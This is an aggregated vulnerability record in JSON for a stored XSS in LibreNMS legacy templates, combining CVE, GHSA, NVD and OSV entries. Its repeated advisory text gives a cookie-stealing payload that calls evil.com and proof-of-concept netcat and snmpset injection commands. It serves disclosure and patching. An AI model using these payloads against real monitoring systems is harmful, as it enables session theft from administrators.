{"id":"CVE-2026-84192","aliases":["EUVD-2026-69029","GHSA-7w8c-qgxg-m7jx","GHSA-r97f-5q78-rq8c"],"status":"published","title":"LibreNMS before 26.3.1 Stored XSS via SNMP/Syslog Data","description":"LibreNMS before 26.3.1 contains a stored cross-site scripting vulnerability in legacy PHP templates that output SNMP-sourced and syslog-sourced data without escaping. An attacker who controls a monitored network device can inject arbitrary JavaScript through SNMP interface descriptions or syslog program fields that executes when authenticated users view affected pages.","severity":{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00331,"percentile":0.26599,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2026-08-26T18:05:46Z","modified":"2026-10-28T02:30:30Z","fixes":[{"ecosystem":"Packagist","package":"librenms/librenms","fixed_in":["26.5.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"librenms/librenms","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"26.5.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"librenms/librenms","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"26.5.0"}]}],"versions":["1.19","1.20","1.20.1","1.21","1.22","1.22.01","1.23","1.24","1.25","1.26","1.27","1.28","1.29","1.30","1.30.01","1.31","1.31.01","1.31.02","1.31.03","1.32","1.32.01","1.33","1.33.01","1.34","1.35","1.36","1.36.01","1.37","1.38","1.39","1.40","1.41","1.42","1.42.01","1.43","1.44","1.45","1.46","1.47","1.48","1.48.1","1.49","1.50","1.50.1","1.51","1.52","1.53","1.53.1","1.54","1.55","1.56","1.57","1.58","1.58.1","1.59","1.60","1.61","1.62","1.62.1","1.62.2","1.63","1.64","1.64.1","1.65","1.65.1","1.66","1.67","1.68","1.69","1.70.0","1.70.1","21.1.0","21.10.0","21.10.1","21.10.2","21.11.0","21.12.0","21.12.1","21.2.0","21.3.0","21.4.0","21.5.0","21.5.1","21.6.0","21.7.0","21.8.0","21.9.0","21.9.1","22.1.0","22.10.0","22.11.0","22.12.0","22.2.0","22.2.1","22.2.2","22.3.0","22.4.0","22.4.1","22.5.0","22.6.0","22.7.0","22.8.0","22.9.0","23.1.0","23.1.1","23.10.0","23.11.0","23.2.0","23.4.0","23.4.1","23.5.0","23.6.0","23.7.0","23.8.0","23.8.1","23.8.2","23.9.0","23.9.1","24.1.0","24.10.0","24.10.1","24.11.0","24.12.0","24.2.0","24.3.0","24.4.0","24.4.1","24.5.0","24.6.0","24.7.0","24.8.0","24.8.1","24.9.0","24.9.1","25.1.0","25.10.0","25.11.0","25.12.0","25.2.0","25.3.0","25.4.0","25.5.0","25.6.0","25.7.0","25.8.0","25.9.0","25.9.1","26.1.0","26.1.1","26.2.0","26.3.0","26.3.1","26.4.0","26.4.1"]}],"products":[{"vendor":"librenms","product":"librenms"}],"references":[{"url":"https://github.com/librenms/librenms/security/advisories/GHSA-7w8c-qgxg-m7jx","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/librenms-before-26.3.1-stored-xss-via-snmp-syslog-data","tags":["third-party-advisory","advisory"]},{"url":"https://github.com/librenms/librenms/pull/19660","tags":["web"]},{"url":"https://github.com/librenms/librenms/commit/6782af940c3c495755923b520a302f3a1cb1ce6b","tags":["web"]},{"url":"https://github.com/librenms/librenms/releases/tag/26.5.0","tags":["web"]},{"url":"https://github.com/librenms/librenms/releases/tag/26.8.1","tags":["web"]},{"url":"https://github.com/advisories/GHSA-7w8c-qgxg-m7jx"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84192","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-r97f-5q78-rq8c"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/84xxx/CVE-2026-84192.json","tags":["advisory"]},{"url":"https://github.com/librenms/librenms","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-84192","title":"LibreNMS before 26.3.1 Stored XSS via SNMP/Syslog Data","description":"LibreNMS before 26.3.1 contains a stored cross-site scripting vulnerability in legacy PHP templates that output SNMP-sourced and syslog-sourced data without escaping. An attacker who controls a monitored network device can inject arbitrary JavaScript through SNMP interface descriptions or syslog program fields that executes when authenticated users view affected pages.","status":"published","published":"2026-09-01T11:33:56.451Z","modified":"2026-10-08T15:25:44.034Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:20:08.391556Z"}],"euvd":[{"id":"EUVD-2026-69029","description":"LibreNMS before 26.3.1 contains a stored cross-site scripting vulnerability in legacy PHP templates that output SNMP-sourced and syslog-sourced data without escaping. An attacker who controls a monitored network device can inject arbitrary JavaScript through SNMP interface descriptions or syslog program fields that executes when authenticated users view affected pages.","status":"published","published":"2026-09-01T11:33:56Z","modified":"2026-10-08T15:25:44Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T17:27:28.564399Z"}],"ghsa":[{"id":"GHSA-7w8c-qgxg-m7jx","title":"LibreNMS — Stored XSS via SNMP/Syslog Data in Legacy Templates","description":"## Summary\n\nMultiple legacy PHP template files in LibreNMS directly output SNMP-sourced and syslog-sourced data into HTML without escaping. An attacker who controls a monitored network device (via compromised SNMP agent or syslog sender) can inject arbitrary JavaScript that executes when any authenticated LibreNMS user views the affected pages.\n\n## Vulnerable Code\n\n### Location 1: Syslog `program` field (clearest instance)\n\n**File:** `includes/html/print-syslog.inc.php:11,13`\n\n```php\n$syslog_output .= '\u003ctd\u003e\u003cstrong\u003e' . $entry['program'] . ' : \u003c/strong\u003e ' . htmlspecialchars((string) $entry['msg']) . '\u003c/td\u003e';\n```\n\nThe `program` field is output without `htmlspecialchars()` while the adjacent `msg` field IS properly escaped. The `program` value comes from syslog messages received from monitored devices.\n\n### Location 2: Alert details `ifAlias` (highest impact — main alerts page)\n\n**File:** `includes/html/functions.inc.php:607`\n\n```php\n$fault_detail .= $tmp_alerts['ifAlias'] . '; ';\n```\n\nThe `ifAlias` (port description) comes from SNMP polling and is stored in the `ports` table. When a port-related alert fires, `format_alert_details()` renders it unescaped. Multiple other fields in this function are also unescaped: `isisISAdjIPAddrAddress` (line 598), `service_desc`/`service_message` (lines 656,658), `bgpPeerDescr` (line 672), `mempool_descr` (line 686), `app_type` (line 709).\n\n### Location 3: Health pages — `mempool_descr`, `storage_descr`, `sensor_descr`\n\n**File:** `includes/html/pages/device/health/mempool.inc.php:38`\n```php\necho \"\u003ch3 class='panel-title'\u003e{$mempool-\u003emempool_descr} ...\";\n```\n\n**File:** `includes/html/pages/device/health/storage.inc.php:27`\n```php\necho \"\u003ch3 class='panel-title'\u003e{$drive['storage_descr']} ...\";\n```\n\n**File:** `includes/html/pages/device/health/sensors.inc.php:29`\n```php\necho \"\u003ch3 class='panel-title'\u003e$sensor_descr ...\";\n```\n\nAll three health page templates output SNMP-polled descriptions directly into `\u003ch3\u003e` tags without escaping.\n\n### Location 4: Pseudowires `ifAlias`\n\n**File:** `includes/html/pages/pseudowires.inc.php:76`\n```php\necho \"\u003ctr ...\u003e\u003ctd colspan=2\u003e\" . $pw_a['ifAlias'] . '\u003c/td\u003e\u003ctd colspan=2\u003e' . $pw_b['ifAlias'] . '\u003c/td\u003e\u003c/tr\u003e';\n```\n\n### Location 5: VRF page `ifAlias`\n\n**File:** `includes/html/pages/routing/vrf.inc.php:165`\n```php\necho \"\u003cdiv style='font-size: 9px;'\u003e\" . substr((string) short_port_descr($port['ifAlias']), 0, 22) . '\u003c/div\u003e';\n```\n\n## Data Flow\n\n```\nAttacker-controlled SNMP device/syslog source\n  → SNMP polling stores ifAlias/mempool_descr/etc in DB (no sanitization on write)\n  → OR syslog receiver stores program field in syslog table\n  → Authenticated user views alerts/health/syslog page\n  → Legacy PHP template echoes raw value into HTML\n  → XSS executes in victim's browser session\n```\n\n## Attack Scenario\n\n1. Attacker compromises or controls a network device monitored by LibreNMS\n2. Attacker configures the device's SNMP interface description (ifAlias) to: `\u003cimg src=x onerror=\"fetch('https://evil.com/'+document.cookie)\"\u003e`\n3. LibreNMS polls the device via SNMP and stores the malicious ifAlias in the `ports` table\n4. When any alert fires for this port, the XSS payload executes for every authenticated user viewing the alerts page\n5. Alternatively: attacker sends syslog messages with XSS in the program field, targeting the syslog viewer page\n\n## PoC\n\n### Syslog vector (simplest)\n```bash\n# Send syslog message with XSS in program field\n# Assuming LibreNMS syslog receiver is at 10.0.0.1:514\necho '\u003c14\u003eMar 20 12:00:00 rogue-device \u003cimg/src=x onerror=alert(document.domain)\u003e: test message' | nc -u 10.0.0.1 514\n```\n\n### SNMP vector\n```bash\n# On attacker-controlled SNMP device, set interface description:\n# snmpset -v2c -c private localhost IF-MIB::ifAlias.1 s '\u003cimg src=x onerror=alert(document.cookie)\u003e'\n# LibreNMS will poll this during next discovery/polling cycle\n```\n\n## Contrast with Properly Escaped Code\n\nNewer Blade templates and some legacy code properly escape SNMP data:\n- `includes/html/dev-overview-data.inc.php` uses `Clean::html()` for sysDescr, sysName, hardware\n- `app/Http/Controllers/Device/Tabs/PortsController.php` uses `htmlentities()` on ifAlias\n- `app/Http/Controllers/Table/EventlogController.php:97` uses `htmlspecialchars()` on message\n- All Blade templates use `{{ }}` auto-escaping\n\nThe vulnerability exists specifically in the legacy `includes/html/` PHP files that have not been migrated to Blade.","status":"published","published":"2026-08-26T18:05:46Z","modified":"2026-08-26T18:05:47Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:41:07.031507Z"},{"id":"GHSA-r97f-5q78-rq8c","title":"LibreNMS before 26.3.1 contains a stored cross-site scripting vulnerability in legacy PHP...","description":"LibreNMS before 26.3.1 contains a stored cross-site scripting vulnerability in legacy PHP templates that output SNMP-sourced and syslog-sourced data without escaping. An attacker who controls a monitored network device can inject arbitrary JavaScript through SNMP interface descriptions or syslog program fields that executes when authenticated users view affected pages.","status":"published","published":"2026-09-01T12:31:51Z","modified":"2026-09-01T12:31:51Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"},{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:11:12.60039Z"}],"nvd":[{"id":"CVE-2026-84192","description":"LibreNMS before 26.3.1 contains a stored cross-site scripting vulnerability in legacy PHP templates that output SNMP-sourced and syslog-sourced data without escaping. An attacker who controls a monitored network device can inject arbitrary JavaScript through SNMP interface descriptions or syslog program fields that executes when authenticated users view affected pages.","status":"published","published":"2026-09-01T12:17:48.723Z","modified":"2026-10-08T16:17:54.78Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:12:43.04945Z"}],"osv":[{"id":"CVE-2026-84192","title":"LibreNMS before 26.3.1 Stored XSS via SNMP/Syslog Data","description":"LibreNMS before 26.3.1 contains a stored cross-site scripting vulnerability in legacy PHP templates that output SNMP-sourced and syslog-sourced data without escaping. An attacker who controls a monitored network device can inject arbitrary JavaScript through SNMP interface descriptions or syslog program fields that executes when authenticated users view affected pages.","status":"published","published":"2026-09-01T11:33:56.451Z","modified":"2026-10-28T02:30:30.644653744Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:45:18.482949Z"},{"id":"GHSA-7w8c-qgxg-m7jx","title":"LibreNMS — Stored XSS via SNMP/Syslog Data in Legacy Templates","description":"## Summary\n\nMultiple legacy PHP template files in LibreNMS directly output SNMP-sourced and syslog-sourced data into HTML without escaping. An attacker who controls a monitored network device (via compromised SNMP agent or syslog sender) can inject arbitrary JavaScript that executes when any authenticated LibreNMS user views the affected pages.\n\n## Vulnerable Code\n\n### Location 1: Syslog `program` field (clearest instance)\n\n**File:** `includes/html/print-syslog.inc.php:11,13`\n\n```php\n$syslog_output .= '\u003ctd\u003e\u003cstrong\u003e' . $entry['program'] . ' : \u003c/strong\u003e ' . htmlspecialchars((string) $entry['msg']) . '\u003c/td\u003e';\n```\n\nThe `program` field is output without `htmlspecialchars()` while the adjacent `msg` field IS properly escaped. The `program` value comes from syslog messages received from monitored devices.\n\n### Location 2: Alert details `ifAlias` (highest impact — main alerts page)\n\n**File:** `includes/html/functions.inc.php:607`\n\n```php\n$fault_detail .= $tmp_alerts['ifAlias'] . '; ';\n```\n\nThe `ifAlias` (port description) comes from SNMP polling and is stored in the `ports` table. When a port-related alert fires, `format_alert_details()` renders it unescaped. Multiple other fields in this function are also unescaped: `isisISAdjIPAddrAddress` (line 598), `service_desc`/`service_message` (lines 656,658), `bgpPeerDescr` (line 672), `mempool_descr` (line 686), `app_type` (line 709).\n\n### Location 3: Health pages — `mempool_descr`, `storage_descr`, `sensor_descr`\n\n**File:** `includes/html/pages/device/health/mempool.inc.php:38`\n```php\necho \"\u003ch3 class='panel-title'\u003e{$mempool-\u003emempool_descr} ...\";\n```\n\n**File:** `includes/html/pages/device/health/storage.inc.php:27`\n```php\necho \"\u003ch3 class='panel-title'\u003e{$drive['storage_descr']} ...\";\n```\n\n**File:** `includes/html/pages/device/health/sensors.inc.php:29`\n```php\necho \"\u003ch3 class='panel-title'\u003e$sensor_descr ...\";\n```\n\nAll three health page templates output SNMP-polled descriptions directly into `\u003ch3\u003e` tags without escaping.\n\n### Location 4: Pseudowires `ifAlias`\n\n**File:** `includes/html/pages/pseudowires.inc.php:76`\n```php\necho \"\u003ctr ...\u003e\u003ctd colspan=2\u003e\" . $pw_a['ifAlias'] . '\u003c/td\u003e\u003ctd colspan=2\u003e' . $pw_b['ifAlias'] . '\u003c/td\u003e\u003c/tr\u003e';\n```\n\n### Location 5: VRF page `ifAlias`\n\n**File:** `includes/html/pages/routing/vrf.inc.php:165`\n```php\necho \"\u003cdiv style='font-size: 9px;'\u003e\" . substr((string) short_port_descr($port['ifAlias']), 0, 22) . '\u003c/div\u003e';\n```\n\n## Data Flow\n\n```\nAttacker-controlled SNMP device/syslog source\n  → SNMP polling stores ifAlias/mempool_descr/etc in DB (no sanitization on write)\n  → OR syslog receiver stores program field in syslog table\n  → Authenticated user views alerts/health/syslog page\n  → Legacy PHP template echoes raw value into HTML\n  → XSS executes in victim's browser session\n```\n\n## Attack Scenario\n\n1. Attacker compromises or controls a network device monitored by LibreNMS\n2. Attacker configures the device's SNMP interface description (ifAlias) to: `\u003cimg src=x onerror=\"fetch('https://evil.com/'+document.cookie)\"\u003e`\n3. LibreNMS polls the device via SNMP and stores the malicious ifAlias in the `ports` table\n4. When any alert fires for this port, the XSS payload executes for every authenticated user viewing the alerts page\n5. Alternatively: attacker sends syslog messages with XSS in the program field, targeting the syslog viewer page\n\n## PoC\n\n### Syslog vector (simplest)\n```bash\n# Send syslog message with XSS in program field\n# Assuming LibreNMS syslog receiver is at 10.0.0.1:514\necho '\u003c14\u003eMar 20 12:00:00 rogue-device \u003cimg/src=x onerror=alert(document.domain)\u003e: test message' | nc -u 10.0.0.1 514\n```\n\n### SNMP vector\n```bash\n# On attacker-controlled SNMP device, set interface description:\n# snmpset -v2c -c private localhost IF-MIB::ifAlias.1 s '\u003cimg src=x onerror=alert(document.cookie)\u003e'\n# LibreNMS will poll this during next discovery/polling cycle\n```\n\n## Contrast with Properly Escaped Code\n\nNewer Blade templates and some legacy code properly escape SNMP data:\n- `includes/html/dev-overview-data.inc.php` uses `Clean::html()` for sysDescr, sysName, hardware\n- `app/Http/Controllers/Device/Tabs/PortsController.php` uses `htmlentities()` on ifAlias\n- `app/Http/Controllers/Table/EventlogController.php:97` uses `htmlspecialchars()` on message\n- All Blade templates use `{{ }}` auto-escaping\n\nThe vulnerability exists specifically in the legacy `includes/html/` PHP files that have not been migrated to Blade.","status":"published","published":"2026-08-26T18:05:46Z","modified":"2026-09-02T03:55:41.550842979Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:41.349637Z"}]}}
